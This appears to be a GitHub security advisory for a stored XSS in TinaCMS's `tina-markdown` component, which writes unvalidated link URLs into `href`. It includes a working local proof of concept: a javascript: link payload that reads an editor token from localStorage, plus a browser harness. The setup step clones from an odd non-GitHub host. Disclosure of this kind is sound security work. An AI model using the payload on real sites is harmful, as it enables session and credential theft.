Skip to content

@tinacms/web-components: `tina-markdown` writes rich-text link URLs into `href` without scheme validation, allowing stored XSS

High severity GitHub Reviewed Published Sep 16, 2026 in tinacms/tinacms • Updated Oct 9, 2026

Package

npm @tinacms/web-components (npm)

Affected versions

<= 0.2.0

Patched versions

0.2.1

Description

Summary

<tina-markdown> renders a rich-text AST into the DOM and, for a nodes, assigns the node's URL straight to the anchor's href with no scheme check. A link authored in the CMS as javascript:… renders as a live javascript: anchor, so a visitor who clicks it executes attacker-supplied script in the site's origin. Every sibling renderer in the repository already sanitizes these URLs; this one does not.

Details

The unvalidated sink:

packages/@tinacms/web-components/src/tina-markdown.js:67-69
  if (node.type === 'html' || node.type === 'html_inline') {
    return DOMPurify.sanitize(node.value, { RETURN_DOM_FRAGMENT: true });
  }
packages/@tinacms/web-components/src/tina-markdown.js:75    if (node.url && node.type === 'a') el.href = node.url;
packages/@tinacms/web-components/src/tina-markdown.js:76    if (node.url && node.type === 'img') el.src = node.url;

node.url comes from the content attribute the site populates from the TinaCMS content API (:169-176), i.e. whatever a content author typed into a rich-text field. The DOMPurify call at :68 handles only raw-HTML node values and returns before the anchor branch, so it never inspects node.url. Line 75 is a direct property assignment — no HTML parser, no sanitizer. The mode: 'open' shadow root (:164-167) provides no script isolation.

The guard that exists in every sibling renderer:

packages/@tinacms/mdx/src/sanitize-url.ts:10          allowedSchemes = ['http','https','mailto','tel','xref']
packages/tinacms/src/rich-text/index.tsx:335            <a href={sanitizeUrl(child.url)}>
packages/tinacms/src/rich-text/index.tsx:322            <img src={sanitizeUrl(child.url)} .../>
packages/tinacms/src/rich-text/static.tsx:254           <a href={sanitizeUrl(child.url)}>
packages/tinacms/src/rich-text/static.tsx:242           <img src={sanitizeUrl(child.url)} .../>
packages/@tinacms/astro/src/LinkNode.astro:19           <a href={sanitizeHref(node.url)}>
packages/@tinacms/astro/src/ImageNode.astro:16          <img src={sanitizeImageSrc(node.url)} .../>

tina-markdown.js:75 is the only rich-text link sink in the repository that omits it — six of seven sanitize.

That this is an oversight rather than intent: the 0.2.0 changelog entry states the goal of "matching the components prop on the React and Astro renderers" while adding DOMPurify for html nodes, and packages/@tinacms/web-components/src/tina-markdown.test.ts:83-96 only asserts that an https://example.com link renders — no scheme case is covered either way.

Default-enabled: customElements.define('tina-markdown', TinaMarkdown) runs at module scope (:179); importing the published entry point is the whole setup, with no option object or sanitizer setting.

Suggested fix — reuse the existing dependency-free subpath export rather than adding a third implementation:

import { sanitizeUrl } from '@tinacms/mdx/sanitize-url';
if (node.url && node.type === 'a') el.href = sanitizeUrl(node.url);
if (node.url && node.type === 'img') el.src = sanitizeUrl(node.url);

Variant with the same root cause and the same fix: :76 (img.src). A javascript: URL does not execute from img.src, so it is not scored here, but the line has no validation either — which is why @tinacms/astro carries a separate sanitizeImageSrc.

PoC

Safe, local, non-destructive. One loopback server stands in for a public site rendering CMS rich-text. The page loads tina-markdown.js byte-for-byte from the checkout (bundled with its declared dompurify dependency) and also exposes the repository's own sanitizeUrl so the same input can be run through the canonical guard as a control. No traffic leaves the machine; the payload only writes a page-local variable.

Environment used: Linux, Node v22.23.1, Google Chrome (/usr/bin/google-chrome) driven by playwright@1.49.0.

Setup

git clone http://github.com/tinacms/tinacms.git tinacms-poc
cd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163
REPO=$PWD

mkdir -p /tmp/tina-tm/site && cd /tmp/tina-tm
npm init -y >/dev/null
npm i --ignore-scripts dompurify@3.3.1 esbuild@0.25.0 playwright@1.49.0

cp "$REPO/packages/@tinacms/web-components/src/tina-markdown.js" ./tina-markdown.js
cp "$REPO/packages/@tinacms/mdx/src/sanitize-url.ts"             ./sanitize-url.ts

entry.js:

import './tina-markdown.js';                       // registers <tina-markdown>
import { sanitizeUrl } from './sanitize-url.ts';   // the canonical guard, for the control
window.__sanitizeUrl = sanitizeUrl;

site/index.html — the AST is what @tinacms/graphql returns for the markdown source [click me](javascript:…):

<!doctype html><html><head><title>public site rendering CMS rich-text</title></head>
<body>
<h1>Site page</h1>
<div id="host"></div>
<script type="module" src="/bundle.js"></script>
<script type="module">
  const ast = {
    type: 'root',
    children: [
      { type: 'p', children: [
        { type: 'a',
          url: "javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0",
          children: [{ type: 'text', text: 'click me' }] }
      ]}
    ]
  };
  // Stand-in for a signed-in editor's stored TinaCMS credential. The real key and
  // value are written by packages/tinacms/src/internalClient/authProvider.ts:117.
  localStorage.setItem('tinacms-auth', 'DEMO-EDITOR-TOKEN');
  const el = document.createElement('tina-markdown');
  el.setAttribute('content', JSON.stringify(ast));
  document.getElementById('host').appendChild(el);
  window.__ready = true;
</script>
</body></html>

run.cjs:

const http=require('http'),fs=require('fs'),path=require('path'),{chromium}=require('playwright');
const PORT=8811, DIR=path.join(__dirname,'site');
const srv=http.createServer((req,res)=>{const p=req.url==='/'?'/index.html':req.url.split('?')[0];
 const f=path.join(DIR,p); if(!f.startsWith(DIR)||!fs.existsSync(f)){res.writeHead(404).end('nf');return;}
 res.writeHead(200,{'content-type':p.endsWith('.js')?'text/javascript':'text/html; charset=utf-8'});
 res.end(fs.readFileSync(f));});
(async()=>{await new Promise(r=>srv.listen(PORT,'127.0.0.1',r));
 const browser=await chromium.launch({executablePath:'/usr/bin/google-chrome'});
 const page=await browser.newPage();
 await page.goto(`http://127.0.0.1:${PORT}/`);
 await page.waitForFunction(()=>window.__ready===true); await page.waitForTimeout(300);
 const rendered=await page.evaluate(()=>{const a=document.querySelector('tina-markdown').shadowRoot.querySelector('a');
   return {hrefAttr:a&&a.getAttribute('href')};});
 await page.evaluate(()=>document.querySelector('tina-markdown').shadowRoot.querySelector('a').click());
 await page.waitForTimeout(500);
 const pwned=await page.evaluate(()=>window.__pwned||null);
 const control=await page.evaluate(()=>window.__sanitizeUrl("javascript:window.__pwned = document.domain"));
 console.log(JSON.stringify({renderedAnchorHref:rendered.hrefAttr, scriptExecutedOnClick:pwned!==null,
   capturedByPayload:pwned, control_sanitizeUrl_output:control},null,2));
 await browser.close(); srv.close();})();

Run

cd /tmp/tina-tm
npx esbuild entry.js --bundle --outfile=site/bundle.js --format=esm --loader:.ts=ts
node run.cjs

Observed output (captured verbatim)

{
  "renderedAnchorHref": "javascript:window.__pwned=document.domain+' | localStorage[tinacms-auth]='+localStorage.getItem('tinacms-auth');void 0",
  "scriptExecutedOnClick": true,
  "capturedByPayload": "127.0.0.1 | localStorage[tinacms-auth]=DEMO-EDITOR-TOKEN",
  "control_sanitizeUrl_output": ""
}

Expected vulnerable output — renderedAnchorHref is the attacker-supplied javascript: string unchanged (no scheme validation at the sink), scriptExecutedOnClick is true, and capturedByPayload contains the page's own domain plus the value read out of localStorage['tinacms-auth'] (script ran in the site origin with full read access to that origin's storage). All held.

Control — control_sanitizeUrl_output is "". The repository's own sanitizeUrl, invoked in the same browser realm on the same class of input, rejects the scheme. That is exactly what packages/tinacms/src/rich-text/index.tsx:335 and packages/@tinacms/astro/src/LinkNode.astro:19 do for the identical AST, which isolates the defect to the missing call rather than to the input or the harness.

Second control, internal to the same file: an html node carrying <a href="javascript:alert(1)">x</a> is stripped by the DOMPurify call at :68, so the same payload delivered as raw HTML is blocked while the same payload delivered as a link node is not.

Cleanup

rm -rf /tmp/tina-tm

The PoC was re-run after this report was drafted; the JSON above is that run.

Impact

Stored cross-site scripting via an unvalidated URL scheme in a link attribute. A user whose only capability is editing content gains script execution in every visitor's browser session on the site's origin. Because TinaCMS's documented layout serves the admin from the same origin (public/admin/) and stores the editor token in localStorage under tinacms-auth (packages/tinacms/src/auth/authenticate.ts:5, written at packages/tinacms/src/internalClient/authProvider.ts:117), a clicking visitor who is themselves an editor or administrator exposes that credential — the PoC reads it.

Impacted: any site rendering TinaCMS rich-text through <tina-markdown>. That component exists precisely for non-React sites, i.e. the deployments that do not get tinacms's sanitized React renderer.

Credits

  • Thai Son Dinh from VinSOC Labs (R&D)

References

@wicksipedia wicksipedia published to tinacms/tinacms Sep 16, 2026
Published to the GitHub Advisory Database Oct 9, 2026
Reviewed Oct 9, 2026
Last updated Oct 9, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(10th percentile)

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Improper Neutralization of Script in Attributes in a Web Page

The product does not neutralize or incorrectly neutralizes javascript: or other URIs from dangerous attributes within tags, such as onmouseover, onload, onerror, or style. Learn more on MITRE.

CVE ID

CVE-2026-108260

GHSA ID

GHSA-c42q-qvc3-j6vg

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.